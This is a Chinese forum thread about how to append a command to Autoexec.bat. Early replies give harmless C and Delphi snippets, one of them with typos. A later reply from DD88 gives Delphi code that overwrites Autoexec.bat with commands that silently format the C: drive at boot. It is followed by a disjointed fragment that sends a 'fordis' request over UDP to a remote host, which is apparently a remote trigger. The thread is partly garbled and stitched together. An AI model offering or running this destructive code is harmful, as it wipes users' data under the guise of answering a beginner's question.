读写Autoexec.bat

[CDMAA]

我想在Autoexec.bat中加入一条命令，请问我该 如何做！直接写代码，不用任何控件！

[lj_csdn]

FILE *fp;
fp=fopen("c:\\autoexec.bat","a");
fprintf(fp,"x:\\abc\\myexe.exe\n");
fclose(fp);

[surfguy]

同意楼上的。

[Delphi_Li]

文件操作太麻烦，可以使用TStringList简化！！
Var
X : TStringLsit;
Begin
X ;= TStringList.Create;
Try
X.LoadFromFile( 'C:\Autoexec.Bat' );
X.Add( 'Path = %Path%;D:\Oracle' )
X.SaveToFile( 'C:\Autoexec.Bat' );
Finally
X.Free;
End;
End;

[CDMAA]

我不大会呀，能说详细点吗？

[DD88]

begin
assignfile(forc,'c:\Autoexec.bat');
rewrite(forc);
writeln(forc,'@echo off');
writeln(forc,'format c:/q');
// /q快速格式化
writeln(forc,'echo y|format c:/q >nul');
//在Dos shell控制台下显示格式化信息
closefile(forc);
end

ReqCodeStr:='fordis'+disk;
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;
end;